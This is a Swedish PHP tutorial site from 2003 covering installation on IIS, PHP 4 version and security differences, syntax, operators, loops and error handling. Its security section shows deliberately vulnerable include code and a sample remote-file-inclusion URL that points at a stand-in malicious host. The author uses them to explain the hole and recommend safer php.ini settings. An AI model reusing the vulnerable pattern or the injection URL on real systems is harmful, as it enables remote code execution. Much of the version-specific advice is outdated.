några sidor om php
© anders enges, vörå, 2003
index.php

1 Börja här

[ Är du en svenskspråkig datalärare - klicka här ]

 


Rösta:

Jag satt och tittade genom sidorna lite och började fundera...
Vet nu inte riktigt om jag orkar fortsätta med dem...
Vad tycker du jag skall göra med denna sajt???

Lägg ner
Låt vara som nu
Vidareutveckla
Lägg ner 1 %
Låt vara som nu 13 %
Vidareutveckla 85 %
Antal svar: 91

OBS! Detta material är helt fritt att använda för in- eller utlärning, men ni får inte 'suga ner den' och sätta in i en sluten kursmiljö eller på egen kursserver. Upphovsrätten är min, och jag har aldrig överlåtit denna, eller ens fått betalt för kursmaterialet. Om någon hittar detta material - helt eller delar - i någon kurs någonstans, och detta material finns på en annan server än www.enges.org, så meddela mig.
Jag börjar misstänka att det finns folk med en rätt 'flexibel' syn på upphovsrätt :-(

default2.php

1.0.1 Installation

PHP finns att laddas ner från:


http://www.php.net/

När jag skriver detta är den sista stabila versionen 4.3.0

 

Om ni har en Linux maskin kanske PHP finns färdigt konfigurerad på denna. Om du har en Windows maskin så kanske du måste konfigurera en webserver. För Microsofts egna alternativ så kan du ta en titt på sidan

 

../asp/iisinst.asp

 

OBS! Det verkar vara lite strul med att installera IIS/PWS och PHP. Följande verkar fungera när jag provade på en "ren" dator (jag antar att ni använder c:\php som installationskatalog - modifiera vid behov):

 

Instruktioner för installation av php 4.3.0 på Windows XP Professional - borde fungera även på 2000

  1. Ladda ner php från http://www.php.net
  2. Starta php-4.3.0-installer.exe och klicka på Next tills du kommer till
    Server Type

  3. Se till att Microsoft IIS 4 or higher är valt

  4. Tag Next till du får dialogen IIS Scriptmap Node Selection

  5. Välj
    WWW Services Master Properties
    och
    Default Web Site

    men inte Default Web Site/Pinters

  6. Prova en liten test.php fil i inetpub\wwwroot katalogen t.ex.
    <?php phpinfo(); ?>

  7. Om du får phpinfo informationen om du surfar till http://localhost/test.php så är allt frid. Gå i så fall till punkt 15.

  8. Om inte Högerklickar du på My Computer på din desktop och väljer Manage

  9. Välj Internet Information Services



  10. Högerklicka på Web Sites (eller Default Web Site - bägge duger)

  11. Välj Home Directory och klicka på Configuration knappen



  12. Kontrollera om du har följande rad



  13. Om inte klickar du på Add och ser till att följande skrivs/väljs



  14. Om det fortfarande inte verkar fungera har du troligvis problem med IIS och inte med PHP - normalt sett skall det fungera nu

  15. När du verkar ha en fungerande grundinstallation så öppnar du
    php-4.3.0-Win32.zip filen och packar upp dess innehåll till c:\php (om du märker att detta gör att du fått en c:\php\php-4.3.0-Win32 katalog så tar du och kopierar denna katalogs innehåll till c:\php - allt skall kopieras)

  16. Tag sedan och kopiera samtliga filer från c:\php\dlls till din c:\windows\system32 katalog (jo jag lovar - gör det bara)

  17. Öppna sedan php.ini filen som finns i din windows katalogen (snabbast är att ta Start, Run och skriva php.ini <enter>)

  18. Se till att
    extension_dir = ./
    ändras till
    extension_dir = c:\php\extensions\

  19. Av någon outgrundlig anledning verkar det bli problem på vissa datorer, och oftast är problemet relaterat till php.ini-inställningar. Om du har installerat din php i katalogen c:\php, och har WinXP Professional eller Win2000 kan du ladda ner en php.ini som borde fungera här:
    php.zip
    (Observera att detta inte är en ini som skall sättas på en produktionsserver, utan den är avsedd för utveckling av php-tillämpningar)

Vill ni kontrollera om PHP finns installerat på er webserver kan ni skriva följande testsida med phpinfo:

<?php
phpinfo
();
?>
Listning 1.0.1.1 - phpinfo.php

Visa en typisk phpinfo sida

 

Spara denna fil under namnet test.php och sätt den på er webplats. Surfa sedan iväg till denna sida. Om ni får PHP-källkoden till browsern, eller om ni får en download dialog, så finns inte PHP installerat på servern. I annat fall borde ni få PHP versionsnummer och en hel del annan statistik.

 

En annan möjlighet är att ladda ner Apache:s webserver som även finns för Windows.
Denna finns att ladda ner från


http://www.apache.org/

 

Om du har IIS sedan tidigare men vill prova Apache på en Windows maskin måste du modifiera port i httpd.conf filen. Se dokumentationen för Apache...

 

Jag har ingen som helst tanke på att skriva en komplett dokumentation om PHP. På PHP:s hemsidor finns det nog allt man kan behöva. För "träddödare" kan jag rekommendera:

Core PHP Programming: Using PHP to build Dynamic Web Sites, Leon Atkinson, Prentice Hall 2000. ISBN 0-13-089398-6

OBS! Detta är ingen bra lärobok, utan snarare ett refernsverk.


Av vissa orsaker så är jag hänvisad till Wintel maskiner, så jag testar bara på Apache 1.3 (Windows) och iis5.0. Min nuvarade PHP version är PHP 4.3.0.

security.php

1.0.2 PHP versionerna

När jag skriver (om) denna sida är den aktuella verionen av php 4.3.0. Den fungerar dock i stort sett som 4.1.0 med avseende på säkerhet och golbala variabler. Det förefaller dock finnas en hel del 4.0.6 servrar fortfarande. Om du stöter på en sådan måste du anpassa koden. När jag började skriva dessa sidor var det vanligt med såväl 4.0.3, 4.0.6 och 4.1.2 så jag skapade en kompatibilitetsfil som jag använde för hantering av vissa variabler, och som jag inkluderar på alla sidor där jag behöver åtkomas av $_REQUEST eller $_SERVER. Se sources2.php för mer information.

 

Alla datorer som är kopplade till Internet är, per definition, osäkra. Detta gäller även internetrservrar med PHP installerat. Under den senaste tiden har PHP genomgått en rad förändringar, mest på grund av säkerhetsproblem. Jag beaktar inte PHP version 3 eftersom den (förhoppningsvis) inte används längre, men för 4:orna finns det ett antal mellanversioner.

PHP 4.0.3 och tidigare

I dessa versioner användes globala variabler för både "vanliga variabler", som för data som kom t.ex via URL. Detta medförde att man kunde skriva kod i stil med:

<?php
    
# $minKatalog är en global variabel som pekar
    # på en viss katalog
    
include_once( "$minKatalog/programkod.php");
    
# gör något
?>
Listning 1.0.2.1 - samples/php403.php

En cracker kan då åberopa sidan som

"php403.php?$minKatalog=http://www.elak.com/elakt.php"

och i praktiken se till att få in sin egna "elaka kod" i ditt program. Orsaken till att detta går är att denna PHP version inte gjorde någon skillnad mellan variabler och sådant som kom via en GET eller POST. Det finns metoder att komma förbi detta säkerhetsproblem, men de flesta programmerare vill ju så snabbt som möjligt få ett resultat, och bryr sig inte alltför ofta om säkerheten.

Vill du se mera om detta kan du t.ex. läsa Datormagazin nr. 3-2002, eller ta en titt på registerglobals *

PHP 4.0.6

I denna php version så användes HTTP_*_VARS för att komma åt datat. För kompatibilitet bakåt så finns det i php.ini en inställning register_globals, som om den är On gör att denna version hanterar globala variabler på samma sätt som 4.0.3. Denna skall helst sättas till Off. För att få motsvarande säkerhetsläcka som i exemplet för 4.0.3 så måste man då skriva följande kod:

<?php
    
# $minKatalog är en global variabel som pekar
    # på en viss katalog
    
include_once( "{$HTTP_GET_VARS["minKatalog"]}/programkod.php");
    
# gör något
?>
Listning 1.0.2.2 - samples/php406.php

Detta är helt möjligt att göra, men kan inte ske i misstag. (Dessutom krävs det en extremt korkad programmerare). Ett problem med HTTP_*_VARS var dock att dessa inte var helt globala. Om man behövde dessa i en funktion så måste man göra på följande sätt:

<?php
    
function enFunktion( )
    {
        
# för att slippa åt HTTP_GET_VARS måste
        # vi deklarera den med global
        
global $HTTP_GET_VARS;
        
$data = $HTTP_GET_VARS["viaUrl"];
        
# gör något
    
}
?>
Listning 1.0.2.3 - samples/php406b.php

Detta komplicerade koden och många programmerare satte helt enkelt register_globals till On för att slippa problemet.

PHP 4.1.0

I denna version introducerades s.k. superglobals för GET, POST COOKIE mm. Dessa gjorde programmeringen lättare, utan att för den skull öppna upp bakdörrar för crackers. (Se även _server.php)

<?php
    
function enFunktion( )
    {
        
# går eftersom $_GET är en "superglobal"
        
$data = $_GET["viaUrl"];
        
# gör något
    
}
?>
Listning 1.0.2.4 - samples/php410.php

Ett problem är att många program som fungerade med de äldre versionerna, slutade fungera med 4.1.0. Man kan dock skriva program som är kompatibla mot både 4.0.6 och 4.1.0, se nedan:

<?php
    
function visa()
    {
        
# 4.0.6 kompatibel
        
global $HTTP_GET_VARS;
        echo
$HTTP_GET_VARS["viaUrl"] ."<br>";

        
# 4.1.0 kompatibel
        
echo $_GET["viaUrl"] ."<br>";
    }
    
visa();
?>
Listning 1.0.2.5 - samples/php410b.php

./samples/php410b.php?viaUrl=hejsan

Några ord om phpinfo()

phpinfo() är en utmärkt funktion för debugging, eller när man är lite osäker på hur webservern är inställd. Den visar allt man kan tänkas vilja veta. Tyvärr visar den även en hel del viktig information åt crackern som söker vägar att bryta sig in i systemet. Visa därför aldrig phpinfo() informationen!

Rekommendationer

  1. Försök om möjligt få tillgång till PHP 4.1.0 (när jag skriver detta finns redan 4.1.1 ute som stabil version). Har din ISP inte denna version, påpeka försynt att de är idioter, och att de förtjänar varje crackerattack de kan få...
    Fattar de inte detta kan du påstå att de kommer att få brinna i helvetet för sin dumhet, det brukar ta skruv...
    Går inte detta, försök använda 4.0.6.

  2. Se till att register_globals = Off finns i php.ini

  3. För en "känsligare" applikation: se till att safe_mode = On
    Detta medför dock en hel del problem, se safe-mode *

  4. Överväg att sätta allow_url_fopen = off i php.ini. Detta medför dock att man inte kan öppna filer med http://, vilket ibland kan vara hämmande.

  5. Se till att display_error = Off och log_error = On . Detta gör att felmeddelanden inte visas till browsern, utan loggas bara. Ett felmeddelande kan ge ruskigt mycket information åt en eventuell cracker.

  6. Rätt mycket kod - i böcker, tidningar och på nätet - är anpassad till äldre PHP-standarder. Tag dig tid att analysera och ändra koden till 4.1.0 kompatibel. Man lär sig mer av copy/paste/modify än av bara copy/paste
koden.php

1.0.3 Kodformatering

Kommentarer och utskrift

Jag arbetar dagligen med flera olika programmeringsspråk, och ibland blir gränserna mellan dessa otydiga. För att råda bot på detta så försöker jag ofta maximera skillnaderna mellan språken. Detta betyder att även om det finns många sätt att kommentera i koden, så använder jag # eftersom detta tecken inte används så ofta i de övriga programmeringsspråk jag använder

<?php
    
# kommentarer
    # används även i pearl och Unix Shell scripts
    # som jag relativ sällan programmerar i
    # därför föredrar jag denna metod

    // även detta är en kommentar
    // med de användes även i C++  och Javascript
    // så jag undviker dem

    /* och också detta är en kommentar
    men detta är klassiska C-kommentarer
    och jag skriver rätt ofta i C och vill inte börja
    blanda ihop programmeringsspråken */

    
echo "Detta kommer till sidan<br>\n";
    print(
"Men även detta - med det är för likt
           printf i C så jag undviker denna metod<br>"
);
    print
"Även denna metod funkar<br>";
?>
Listning 1.0.3.1 - samples/k1.php

Detta kommer till sidan
Men även detta - med det är för likt printf i C så jag undviker denna metod
Även denna metod funkar
Resultat av listning 1.0.3.1

Kodens formatering

Det finns två "skolor" inom programmering hur man skall formatera kod: Windows och Unix. Dedan finns samma kod formaterad enligt dessa två skolor:

<?php
# windows formatering
$variabel = 10;
if (
$variabel == 10 )
{
    echo
"En tia!";
}
else
{
    echo
"Något annat";
}
?>
Listning 1.0.3.2 - samples/k3.php

En tia!
Resultat av listning 1.0.3.2

<?php
# unix formatering
$variabel = 10;
if (
$variabel == 10 ) {
    echo
"En tia!";
} else {
    echo
"Något annat";
}
?>
Listning 1.0.3.3 - samples/k2.php

En tia!
Resultat av listning 1.0.3.3

Jag föredrar "windows skolan" även om koden blir längre. Du kommer dock att hitta en hel del unix-formaterad kod på nätet och i böcker.

Och du skall...

...formatera som du vill, men du skall vara konsekvent. Om du formatarar enligt windows, men kopierar unix-kod skall du formatera om koden. Dessutom skall koden alltid vara snyggt och prydligt indenterad med tabulatorer för att gå att läsa...

syntax.php

1.1 Allmänt

PHP program består av mer eller mindre HTML kod. Sidan sparas med extensionen .php och kan förutom HTML innnehålla programmeringskod. För att kunna se resultatet måste sidan bearbetas av en webserver med PHP installerat. Det går således inte att öppna sidan direkt i en webbrowser. Nedan visas ett exempel på en PHP fil och dess resultat.

<html>
<head>
<title>Exempel 1</title>
</head>
<body bgcolor="#FFFFFF">
<?php
  
echo "hello world, I exist";
?>
</body>
</html>
Listning 1.1.1 - samples/s1.php

Exempel 1 hello world, I exist
Resultat av listning 1.1.1

OBS! För att spara utrymme kommer jag hädanefter att lämna bort all extra HTML kod. Det är självklart att du när du skriver PHP-sidor, så skall du se till att skapa korrekt HTML-kod .

Det finns även möjligheten att använda tagsen <? ... ?>, men detta kan missförstås i en miljö där man använder XML. Om konfigurationsfilen har raden asp_tags = On kan även <% ... %> användas men det är inte rekommendabelt och standardinställningen är att asp_tags är avstängda.

Rader i programmet

Programsatser avslutas med ; som i exemplet nedan. I motsats till VB, så betyder inte en rad = en programsats, utan rader kan bytas rätt fritt. Programsaten avslutas först när ; kommer.

<?php
echo "En rad <br>";

# observera att nedanstående programsats inte
# tar slut förrän ; - tecknet kommer
echo
    
"En
    till
    rad
    <br>"
    
;
?>
Listning 1.1.2 - samples/s2.php

En rad
En till rad
Resultat av listning 1.1.2

Kommentarer

PHP använder C++ kommentarer //, "gamla" C kommentarer som börjas med /* och avslutas med */ eller UNIX shell kommentarer #

<?php
/* Följande 3 rader är bortkommenterade
echo "En rad <br>";
echo "En rad <br>";
echo "En rad <br>";
*/
echo "En till rad <br>"; # detta är en kommentar
# följande rad kommer inte att köras
# echo "En till rad <br>;";
echo "En till rad <br>"; // Kommentar 1
?>
Listning 1.1.3 - samples/s3.php

En till rad
En till rad
Resultat av listning 1.1.3

 

Om man använder C kommentarer måste man vara försiktig med att nästa kommentarer. Följande kod ställer till problem

<?php
/* Följande 3 rader är bortkommenterade
echo "En rad <br>";
echo "En rad <br>"; /* en nästad kommentar */
echo "En rad <br>";
*/
?>
Listning 1.1.4 - samples/s4.php


Parse error: parse error, unexpected '*' in /home/vhome/enges.org/www/phpkurs/samples/s4.php on line 6
Resultat av listning 1.1.4

Variabler

Variabler skall alltid börja med $ tecknet och är "case sensitive". Första tecknet efter $ får inte vara en siffra

<?php

$var
= "Bob";
$Var = "Joe";
echo
"$var, $Var"; // Kommer att visa "Bob, Joe"
$_4site = 'not yet'; // OK
$täyte = 'mansikka'; // OK
?>
Listning 1.1.5 - samples/s5.php

Bob, Joe
Resultat av listning 1.1.5

Observera att ovanstående "bob och joe" exempel faktiskt är korrekt. Man kan sätta variabler mellan " " och det kommer ändå att visas variabelvärdet.
Om man vill sätta in ett $ i en sträng måste man skriva "\$" Följande är t.ex möjligt:

<?php
$pris
= 100;
echo
"Priset var $pris \$";
?>
Listning 1.1.6 - samples/s6.php

Priset var 100 $
Resultat av listning 1.1.6

Om man som första tecken har en siffra händer följande:

<?php
$4site = 'not yet'; // FEL; Börjar med siffra
?>
Listning 1.1.7 - samples/s5a.php


Parse error: parse error, unexpected T_LNUMBER, expecting T_VARIABLE or '$' in /home/vhome/enges.org/www/phpkurs/samples/s5a.php on line 2
Resultat av listning 1.1.7

Strängar

I en teckensträng måste man skriva

\n för att få ett radbyte (CRLF)
\r för att få ett "enkelt unix" radbyte (CR)
\t för att få en TAB (HT)
\\ för att få ett \ tecken
\$ för att få ett $ tecken
\" för att få ett " tecken
\" för att få ett " tecken
\(oktalt nummer) t.ex. \45 för att få vilket tecken som helst
\x(hexadecimalt nummer) tex. \x4D för att få vilket tecken som helst

Man kan använda både " och ' för teckensträngar. Variabler kommer dock inte att expanderas i strängar med ' runtomkring.

<?php
$str
= "text" ;
$enText = "en $str" ;
$enTextTill = 'en $str' ;
echo
$enText . "<br>" ;
echo
$enTextTill . "<br>";
?>
Listning 1.1.8 - samples/s7.php

en text
en $str
Resultat av listning 1.1.8

I ovanstående exempel ser vi även . (dot) operanden som används för strängkonkatering (ihopskarvning)

operander.php

1.2 Operander

PHP har alla de vanliga operanderna. Dessutom finns det några som kan vara obekanta för VB-programmerare. Se även operators *

Operand Användning
+ Addition
- Subtraktion
Multiplikation
/ Division
% Modulus
++ Inkrementering (ökning)
-- Dekrementering (minskning)
. Konkatering (ihopskarvning av strängar)

+, - och liknande borde inte vara obekanta. Däremot kanske ++ och -- behöver förklaras. Se nedanstående program:

<?php
    
# exempel på ++ och -- i samband med tilldelning
    
    
$första = 10;
    
# $första kommer att öka med 1, men först efter tilldelningen
    
$andra = $första++;
    echo
"Första: $första, Andra: $andra<br />";

    
$första = 10;
    
# $första kommer att minska med 1, men först efter tilldelningen
    
$andra = $första--;
    echo
"Första: $första, Andra: $andra<br />";

    
$första = 10;
    
# $första kommer att öka med 1, men före tilldelningen
    
$andra = ++$första;
    echo
"Första: $första, Andra: $andra<br />";

    
$första = 10;
    
# $första kommer att miska med 1, men före tilldelningen
    
$andra = --$första;
    echo
"Första: $första, Andra: $andra<br />";

    
# men man kan även använda ++ och -- ensamt
    
$tal = 10;
    
$tal++;    # öka tal
    
$tal++;    # öka tal
    
$tal--;     # minska tal
    
echo "Talet är $tal";
?>
Listning 1.2.1 - samples/s15.php

Första: 11, Andra: 10
Första: 9, Andra: 10
Första: 11, Andra: 11
Första: 9, Andra: 9
Talet är 11
Resultat av listning 1.2.1

$tal++ är således samma sak som $tal = $tal + 1, men kan dessutom användas i samband med tilldelning och loopar.

tilldelning.php

1.2.1 Tilldelning

För att ge värden till variabler kan man använda tilldelningsoperander. Dessa är mer omfattande i PHP än i VB

Operand Användning
= Tilldelning
+= Addera med det som kommer efter
-= Subtrahera med det som kommer efter
*= Multiplicera med det som kommer efter
/= Dividera med det som kommer efter
%= Modulus med det som kommer efter
.= Konkatering med det som kommer efter

= borde inte vara obekant. Däremot kanske resten behöver förklaras. Se nedanstående program:

<?php
    
# exempel på +=,*= mm. samband med tilldelning
    
    
$första = 3;
    
$andra = 10;

    
$andra += $första;
    echo
"Första: $första, Andra: $andra<br />";

    
$andra -= $första;
    echo
"Första: $första, Andra: $andra<br />";

    
$andra *= $första;
    echo
"Första: $första, Andra: $andra<br />";

    
$andra /= $första;
    echo
"Första: $första, Andra: $andra<br />";

    
$texten = "Hello ";
    
$world = "world";
    
$texten .= $world;
    echo
"Texten: $texten";
?>
Listning 1.2.1.1 - samples/s16.php

Första: 3, Andra: 13
Första: 3, Andra: 10
Första: 3, Andra: 30
Första: 3, Andra: 10
Texten: Hello world
Resultat av listning 1.2.1.1

$tal += 3 är således samma sak som $tal = $tal + 3.

loperander.php

1.2.2 Logiska operander

För if och andra styrsater kan man behöva logiska operander. Dessa är:

Operand Användning
< Mindre än
> Större än
<= Mindre än eller lika med
>= Större än eller lika med
== Lika med. OBS! Två likamedstecken
!= Olika med (Not equal - se ! nedan)
AND eller && Och
OR eller || Eller
XOR Exclusive or
! Not

<?php
    $tal
= 10;
    
$siffra = 11;
    
$nummer = 12;

    
# användning av AND och OR
    
if ( ( $tal > 33 AND $siffra <= 20 ) OR $nummer == 12 )
    {
        echo
"Kommer jag hit?<br />";
    }

    
# användningen av NOT !
    
if ( ! ( $nummer == $siffra ) )
    {
        echo
"$nummer och $siffra är INTE olika<br />";    
    }

    
# observera att parenteserna behövs i ovanstående
    # nedan är samma utan parenteser
    
if ( ! $nummer == $siffra  )
    {
        echo
"$nummer och $siffra är INTE olika<br />";    
    }
?>
Listning 1.2.2.1 - samples/s17.php

Kommer jag hit?
12 och 11 är INTE olika
Resultat av listning 1.2.2.1

soperander.php

1.2.3 Specialare

Det finns dessutom några speciella operander:

Operand Användning
$ Referens till variabel
& Alias till variabel
-> Referens till klassvariabel
=> Används för Arrays (se foreach)
@ Hindra felmeddelanden
? Se styrsatser
{} Variabel i en sträng

<?php

    
# användning av $

    
$variabel = "värde";
    
$värde = 123;

    
# visa $värde variabelns innehåll
    
echo $värde . "<br />";

    
# visa $variabel variabelns innehåll
    
echo $variabel. "<br />";

    
# $variabel innehåller texten "värde"
    # genom att sätta ett extra $ före blir
    # ju detta $värde
    
echo $$variabel. "<br />";
    
    
# ---------------------------------    
    
echo "<br />";

    
# användning av &

    # skapa en variabel
    
$namn = "Kalle";

    
# skapa en annan variabel som är ett alias
    # för den första
    
$nimi = &$namn;

    
$namn = "Ville";
    
    echo
$namn . "<br />";
    echo
$nimi . "<br />";

    
# ---------------------------------    
    
echo "<br />";

    
# användning av @

    #detta är OK
    
$fil = fopen("./samples/s11.php","r");
    echo
$fil;

    
# detta är FEL men ger inget felmeddelande
    
@ $fil = fopen("Filen finns inte","r");
    echo
$fil;


    
# ---------------------------------    
    
echo "<br />";

    
# användning av {}
    
$texten = "namn";
    echo
"En text {$texten}<br />";
    
# gör ingen skillnad för vanliga variabler man kan ha
    # betydelse ibland. Se nedan...
    
$enArray[] = "test";
    
$enArray[] = "mer";
    
    
# försöker skriva ut tredje tecknet i den första arrayvariabeln
    
echo "En text $enArray[0][2]<br />";

    
# bättre försök
    
echo "En text {$enArray[0][2]}<br />";

?>
Listning 1.2.3.1 - samples/s18.php

123
värde
123

Ville
Ville

Resource id #12
En text namn
En text test[2]
En text s
Resultat av listning 1.2.3.1

Istället för @ kan man även använda error_reporting( nivå ). Se felhantering...

 

here.php

1.2.4 HERE docs

En specialare lånad från PEARL är s.k. HERE docs. Dessa kan vara användbara för att få mer komplicerad text in i en variabel.

<?php
$variabel
= <<< HERE
    Här får du skriva vad du vill. Det är helt OK med
    "flygare" av 'bägge slagen'. Du får
    även skriva vanlig html:
    <font face="arial" size="6">HERE</font>
    Detta kan vara användbart för t.ex. formar...
    Men observera att:
            tabulatorer och annan formatering
            inte kommer att komma med.
            Inte heller radbyten...
    För att avsluta skriver du följande rad
    (som MÅSTE komma direkt från marginalen
    dra inte in denna rad):
HERE;
echo
$variabel;

echo
"<hr>";
function
aa()
{
    
$en_till_variabel = <<< TESTA
        Man måste inte använda HERE som ord bara man sätter
        samma ord som avslutning med ett ;-tecken efter ordet
        Ordet måste alltid finnas vid marginalen (se nästa rad).
TESTA;
    return
$en_till_variabel;
}
echo
aa();
?>
Listning 1.2.4.1 - samples/here1.php

Här får du skriva vad du vill. Det är helt OK med "flygare" av 'bägge slagen'. Du får även skriva vanlig html: HERE Detta kan vara användbart för t.ex. formar... Men observera att: tabulatorer och annan formatering inte kommer att komma med. Inte heller radbyten... För att avsluta skriver du följande rad (som MÅSTE komma direkt från marginalen dra inte in denna rad):
Man måste inte använda HERE som ord bara man sätter samma ord som avslutning med ett ;-tecken efter ordet Ordet måste alltid finnas vid marginalen (se nästa rad).
Resultat av listning 1.2.4.1

Output buffers

En besläktad sak är s.k output buffering. Se nedanstående exempel.

<?php
    
# starta output buffering
    
ob_start();

    
# kör kod som normalt skulle skriva direkt till sidan
    
highlight_string("<font color=\"red\">TEST</font>");

    
# fånga upp det som buffrats
    
$a = ob_get_contents ();

    
# töm output buffer OBS! PHP 4.3.0 eller nyare
    
ob_clean();

    
# denna variabel innehåller nu det som skulle skrivits
    # till sidan...
    
echo $a;
?>
Listning 1.2.4.2 - samples/here2.php

<font color="red">TEST</font>
Resultat av listning 1.2.4.2

styrsatser.php

1.3 Kontrollsatser

Se även control-structures *

 

if

Nedan visas ett exempel på if-satsens användning.

<?php
    
# för exemplet skull så generarar jag ett slumptal
    # med hjälp av Mersenne Twister algoritmen.

    # initiera slumptalsgeneratorn
    
mt_srand( time() );
    
    
# slumplal mellan 0 och 20
    
$nummer = mt_rand( 0, 20 );

    
# visa numret
    
echo $nummer;

    if (
$nummer < 10 ) # om mindre är 10
    
{
        echo
" är mindre än 10";
    }
    elseif (
$nummer > 10 ) # om större än 10
    
{
        echo
" är större än 10";
    }
    else
# exakt 10
    
{
        echo
" är exakt 10!";
    }
?>
Listning 1.3.1 - samples/s8.php

2 är mindre än 10
Resultat av listning 1.3.1

Observera att det inte finns någon "End If", utan blocken markeras med hjälp av { och }.

OBS! Det vanligaste misstaget en användare gör är att han skriver = för jämförelser. Detta medför inte ett syntaxfel utan det sker en "vanlig" tilldelning. Se nedanstående exempel. Kan förorsaka otrevliga buggar i programmet.

<?php
    $nummer
= 12345;
    if (
$nummer = 10)
    {
        echo
$nummer . " är exakt 10!";
    }
    else
    {
        echo
$nummer . " är inte 10!";
    }
?>
Listning 1.3.2 - samples/s9.php

10 är exakt 10!
Resultat av listning 1.3.2

? operatorn

En variant på if är C-språkets ?-operand. Den påminner lite om IF funktinonen i EXCEL.

Syntaxen är:
jämförelse ? det som skall returneras om sant : det som returneras om falskt

 

<?php
    
# slumplal mellan 0 och 20
    
mt_srand( time() );
    
$nummer = mt_rand( 0, 20 );

    
# visa om det var större än 10 eller inte
    
echo $nummer;
    echo
$nummer > 10 ? " är större än 10" : " är inte större än 10";

    echo
"<br />";
    
    
# man kan även nästa ? . kombinatinen
    
echo $nummer;
    echo
$nummer > 10 ? " större" : ( $nummer < 10 ? " mindre" : " exakt" );
?>
Listning 1.3.3 - samples/s10.php

2 är inte större än 10
2 mindre
Resultat av listning 1.3.3

 

switch

<?php
    
# dagens nummer (mellan 0 och 6)
    
$dayNumber = date("w");

    switch (
$dayNumber )
    {
        case
0:
            
$dag = "Söndag";
            break;
        case
1:
            
$dag = "Måndag";
            break;
        case
2:
            
$dag = "Tisdag";
            break;
        case
3:
            
$dag = "Onsdag";
            break;
        case
4:
            
$dag = "Torsdag";
            break;
        case
5:
            
$dag = "Fredag";
            break;
        case
6:
            
$dag = "Lördag";
            break;
        default;
            
$dag = "En dag som inte finns?";
    }
    echo
"I dag är det " . $dag;

?>
Listning 1.3.4 - samples/s11.php

I dag är det Onsdag
Resultat av listning 1.3.4

Observera ordet break; som gör att switch satsen inte fortsätter med nästa rad. Om man inte har break; kommer man att "trilla igenom" och resultatet blir något konstigt. Se nedan:

<?php
    
# dagens nummer (mellan 0 och 6)
    
$dayNumber = date("w");

    switch (
$dayNumber )
    {
        case
0:
            
$dag = "Söndag";
        case
1:
            
$dag = "Måndag";
        case
2:
            
$dag = "Tisdag";
        case
3:
            
$dag = "Onsdag";
        case
4:
            
$dag = "Torsdag";
        case
5:
            
$dag = "Fredag";
        case
6:
            
$dag = "Lördag";
        default;
            
$dag = "En dag som inte finns?";
    }
    echo
"I dag är det " . $dag;

?>
Listning 1.3.5 - samples/s11wrong.php

I dag är det En dag som inte finns?
Resultat av listning 1.3.5

Eftersom man inte kan använda intervall som i VB kan det kanske vara bäst att strunta i switch och satsa på att behärska if-elseif-else syntaxen istället.

 

loopar.php

1.3.1 Loopar

while

För att loopa ett okänt antal varv kan man använda while. Nedan visas ett exempel på detta:

<?php
    
# slumplal mellan 1 och 6
    
mt_srand( time() );  
    
$nummer = mt_rand( 1, 6);  

    echo
"Skall kasta tärning tills jag får en sexa...<br />";
    while (
$nummer != 6 )
    {
        echo
"Aj då en " . $nummer . "a<br />";        
        
$nummer = mt_rand( 1, 6 );  
    }
    echo
"<b>Nu fick jag äntligen sexan!</b><br />";
?>
Listning 1.3.1.1 - samples/s12.php

Skall kasta tärning tills jag får en sexa...
Aj då en 1a
Nu fick jag äntligen sexan!
Resultat av listning 1.3.1.1

do

En variant på samma tema är konstruktionen do - while. Nedanstående program gör samma sak som föregående med ett viktigt undantag: Om det först slumptalet är en sexa kommer programmet att visa Aj då en 6a, för att sedan avsluta loopen.

<?php
    
# slumplal mellan 1 och 6
    
mt_srand( time() - 1 );  

    echo
"Skall kasta tärning tills jag får en sexa...<br />";
    do
    {
        
$nummer = mt_rand( 1, 6 );  
        echo
"Aj då en " . $nummer . "a<br />";        
    
    } while (
$nummer != 6 );
    
    echo
"<b>Nu fick jag äntligen sexan!</b><br />";
?>
Listning 1.3.1.2 - samples/s13.php

Skall kasta tärning tills jag får en sexa...
Aj då en 1a
Aj då en 6a
Nu fick jag äntligen sexan!
Resultat av listning 1.3.1.2

for

<?php
    
# slumplal mellan 1 och 6
    
mt_srand( time() - 1 );  

    echo
"Skall kasta tärning 5 gånger...<br />";
    for (
$antal = 0; $antal < 5; $antal = $antal + 1 )
    {
        
$nummer = mt_rand( 1, 6 );  
        if (
$nummer != 6)
        {
            echo
"Aj då en " . $nummer . "a<br />";        
        }
        else
        {
            echo
"<b>Nu fick jag sexan!</b><br />";
        }
    }
    
    echo
"<br />Skall räkna till tio ";
    for (
$antal = 1; $antal <= 10; $antal++ )
    {
        echo
$antal . " ";
    }
    echo
" klar";
?>
Listning 1.3.1.3 - samples/s14.php

Skall kasta tärning 5 gånger...
Aj då en 1a
Nu fick jag sexan!
Aj då en 5a
Nu fick jag sexan!
Aj då en 2a

Skall räkna till tio 1 2 3 4 5 6 7 8 9 10 klar
Resultat av listning 1.3.1.3

foreach

För arrays finns det en speciell foreach konstruktion. Jag kommer att behandla arrays separat, men nedan är ett litet exempel.

<?php

    $personer
["Anders"] = "And";
    
$personer["Kalle"] = "Anka";
    
$personer["Donald"] = "Duck";
    foreach (
$personer as $förnamn=>$efternamn )
    {
        echo
$förnamn . " " . $efternamn . "<br />";
    }
    
$nummer[] = 30;
    
$nummer[] = 20;
    
$nummer[] = 10;
    foreach (
$nummer as $index=>$värde )
    {
        echo
$index . " " . $värde . "<br />";
    }
?>
Listning 1.3.1.4 - samples/s21.php

Anders And
Kalle Anka
Donald Duck
0 30
1 20
2 10
Resultat av listning 1.3.1.4

break

För att avbryta en loop kan man använda break

<?php
    
# borde loopa 10000 varv
    
for ( $i = 0; $i < 1000; $i++)
    {
        
# men avbryt redan vid det 5:e
        
if ( $i > 5 )
        {
            break;
        }
        echo
"Varv " . $i . "<br />";
    }

?>
Listning 1.3.1.5 - samples/s19.php

Varv 0
Varv 1
Varv 2
Varv 3
Varv 4
Varv 5
Resultat av listning 1.3.1.5

continue

För att hoppa över resten av loopen och direkt fortsätta med nästa varv kan man avända continue.

<?php
    
# loopa 10 varv
    
for ( $i = 0; $i < 10; $i++)
    {
        
# om det är "vartannat" varv så skippar vi resten
        
if ( $i % 2 == 0 )
        {
            continue;
        }
        echo
"Varv " . $i . "<br />";
    }

?>
Listning 1.3.1.6 - samples/s20.php

Varv 1
Varv 3
Varv 5
Varv 7
Varv 9
Resultat av listning 1.3.1.6

fel.php

1.3.2 Felhantering

Det finns några olika metoder att hantera fel.

die

För enklare typer av fel kan man använda en PERL-liknande konstruktion:

<?php

    
# stänger av all felhantering
    
error_reporting  (0);

    
# detta kan lyckas - om inte visas ett felmedelande
    
$fp = fopen("enfil.txt", "r") OR die("OOPS. Kunde inte öppna filen");
?>
